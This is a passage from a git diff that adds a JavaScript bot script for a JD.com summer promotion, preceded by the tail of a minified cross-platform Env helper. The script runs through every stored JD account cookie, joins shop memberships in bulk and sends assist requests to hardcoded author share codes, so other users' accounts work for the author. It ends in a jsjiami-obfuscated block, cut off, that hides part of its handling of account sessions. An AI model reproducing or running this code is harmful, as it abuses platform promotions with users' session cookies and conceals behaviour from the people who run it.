i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_lzdz1_customized.js b/jd_lzdz1_customized.js new file mode 100644 index 0000000..b47ea85 --- /dev/null +++ b/jd_lzdz1_customized.js @@ -0,0 +1,547 @@ +/* +燃动盛夏 伏气满满 +*/ +const $ = new Env("燃动盛夏 伏气满满"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require("./sendNotify") : ""; +let cookiesArr = [], cookie = "", message = ""; +let ownCode = null; +let authorCodeList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + let cookiesData = $.getdata("CookiesJD") || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map((item) => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter((item) => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/code/raw/master/lzdz112.json') + // if ($.getAuthorCodeListerr === false) { + // authorCodeList = [ + // '917746a95cae46618c8f6b0ff55dfbc2', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ""; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue; + } + $.bean = 0; + $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); + $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); + authorCodeList = [ + '7685382981bf4cdab0a033a414b3ee53', + '26bde642d3bc41aa8762b3a20948bc30', + '99a10aa547ae425f8245479a3f6cc680', + ]; + // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}`; + $.randomCode = random(1000000, 9999999); + $.activityId = "ac7124baef6b48398f75a932a23d0408"; + $.activityShopId = "1000004065"; + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/joinCommon/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=1000004065&lng=00.000000&lat=00.000000&sid=&un_area=`; + await member(); + await $.wait(1000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; + } + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message, "", `\n`); + } else { + $.msg($.name, "有点儿收获", message); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + $.addScore = 1 + lz_cookie = {}; + await getFirstLZCK(); + await getToken(); + await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " + $.authorCode); + // console.log(cookie) + await task("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=`, 1); + // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); + if ($.index === 1) { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + } else { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); + } + $.log("关注店铺"); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=20&taskValue=`); + await $.wait(1000); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=`); + await $.wait(1000); + await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + $.log("加入店铺会员"); + if ($.openCardList) { + for (const vo of $.openCardList) { + // console.log(vo) + $.log(`>>> 去加入${vo.name} ${vo.value}`); + // await task("crm/pageVisit/insertCrmPageVisit", `venderId=1000000576&elementId=入会跳转&pageId=dzlhkk068d4d0ab8a6609723002f50&pin=${encodeURIComponent($.secretPin)}`, 1); + // await $.wait(500); + // await getFirstLZCK(); + // await getToken(); + await getShopOpenCardInfo({ venderId: `${vo.value}`, channel: "401" }, vo.value); + // console.log($.openCardActivityId) + await bindWithVender({ venderId: `${vo.value}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: 2329491, channel: 401 }, vo.value); + await $.wait(1000); + } + } else { + $.log("没有获取到对应的任务。\n"); + } + await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + console.log("去助力 -> " + $.authorCode); + // await task("joinCommon/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + await task("joinCommon/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await getFirstLZCK() + // await getToken(); + // console.log('抽奖 -> ') + // await $.wait(2000) + // await task('linkgame/draw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('100 -> ') + // await getFirstLZCK() + // await getToken(); + // await $.wait(2000) + // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case "dz/common/getSimpleActInfoVo": + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + // console.log($.venderId) + break; + case "wxActionCommon/getUserInfo": + break; + case "joinCommon/activityContent": + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`); + $.log("-------------------"); + if ($.index === 1) { + ownCode = data.data.actorInfo["uuid"]; + console.log(ownCode); + } + $.actorUuid = data.data.actorInfo["uuid"]; + } else { + $.log("活动已经结束"); + } + break; + case "joinCommon/taskInfo": + $.openCardList = data.data['1']['settingInfo']; + $.openCardStatus = data.data; + // console.log($.openCardList) + break; + case "joinCommon/doTask": + console.log(data); + if (data.data) { + $.addScore = data.data.addScore + } + break; + case "linkgame/sign": + console.log(data); + break; + case "opencard/addCart": + if (data.data) { + console.log(data.data); + } + break; + case "linkgame/sendAllCoupon": + if (data.data) { + console.log(data.data); + } + + break; + case "interaction/write/writePersonInfo": + console.log(data); + break; + case "linkgame/draw": + console.log(data); + break; + case "linkgame/draw/record": + console.log(data.data); + break; + case "joinCommon/assist/status": + $.log(JSON.stringify(data)); + break; + case "joinCommon/assist": + $.log(JSON.stringify(data)); + break; + case "opencard/help/list": + $.log(JSON.stringify(data)); + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} + +function getAuthorCodeList(url) { + return new Promise((resolve) => { + const options = { + url: `${url}?${new Date()}`, + timeout: 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false; + } else { + if (data) data = JSON.parse(data); + $.getAuthorCodeListerr = true; + } + } catch (e) { + $.logErr(e, resp); + data = null; + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: body, + }; +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (data) { + data = JSON.parse(data); + if (data.result) { + $.log(`你好:${data.data.nickname}`); + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; + } else { + $.log(data.errorMessage); + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function getFirstLZCK() { + return new Promise((resolve) => { + $.get( + { + url: $.activityUrl, + headers: { + "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }, + (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + } + ); + }); +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br", + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36); + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} +// prettier-ignore +var _0xod7='jsjiami.com.v6',_0xod7_=['‮_0xod7'],_0x1acd=[_0xod7,'\x53\x33\x4a\x54\x56\x32\x4d\x3d','\x54\x47\x4e\x4c\x62\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x56\x45\x56\x4a\x59\x57\x38\x3d','\x55\x6d\x78\x6d\x59\x32\x4d\x3d','\x63\x45\x39\x31\x52\x6b\x4d\x3d','\x64\x6e\x5a\x75\x57\x45\x4d\x3d','\x62\x33\x64\x32\x5a\x47\x55\x3d','\x59\x33\x70\x4b\x62\x47\x67\x3d','\x51\x55\x64\x59\x59\x30\x6b\x3d','\x54\x30\x4a\x58\x55\x45\x59\x3d','\x56\x57\x6c\x55\x51\x33\x63\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x52\x57\x52\x36\x62\x57\x67\x3d','\x55\x48\x56\x58\x62\x6b\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x52\x33\x5a\x75\x55\x6c\x55\x3d','\x52\x6c\x5a\x71\x53\x30\x55\x3d','\x56\x47\x35\x69\x63\x30\x73\x3d','\x61\x6e\x6c\x47\x54\x31\x41\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x55\x78\x36\x61\x31\x63\x3d','\x56\x6d\x74\x75\x62\x33\x51\x3d','\x54\x56\x6c\x6f\x54\x45\x4d\x3d','\x62\x58\x64\x34\x52\x47\x30\x3d','\x65\x6c\x5a\x70\x59\x57\x34\x3d','\x52\x55\x46\x4a\x51\x6b\x45\x3d','\x53\x57\x70\x7a\x59\x6b\x6f\x3d','\x56\x55\x74\x79\x61\x46\x55\x3d','\x56\x32\x74\x69\x53\x45\x77\x3d','\x54\x46\x4a\x49\x61\x6b\x77\x3d','\x54\x30\x4e\x44\x54\x6e\x63\x3d','\x56\x31\x70\x7a\x57\x56\x6f\x3d','\x56\x33\x4e\x72\x63\x48\x67\x3d','\x61\x56\x42\x6b\x5a\x58\x67\x3d','\x51\x6e\x64\x6c\x55\x31\x63\x3d','\x65\x57\x35\x5a\x63\x58\x49\x3d','\x63\x47\x74\x50\x64\x58\x4d\x3d','\x57\x6d\x56\x5a\x62\x6c\x67\x3d','\x61\x56\x68\x4e\x54\x33\x6b\x3d','\x62\x56\x5a\x33\x65\x56\x67\x3d','\x55\x47\x4a\x50\x51\x55\x49\x3d','\x54\x33\x68\x74\x56\x57\x59\x3d','\x62\x55\x31\x52\x61\x33\x59\x3d','\x53\x57\x4a\x45\x62\x56\x45\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x59\x6d\x52\x6e\x63\x30\x30\x3d','\x57\x6b\x74\x34\x53\x6b\x34\x3d','\x59\x30\x56\x51\x63\x6d\x4d\x3d','\x65\x45\x64\x72\x54\x47\x38\x3d','\x5a\x45\x74\x57\x64\x6d\x67\x3d','\x51\x58\x68\x73\x63\x6d\x6f\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x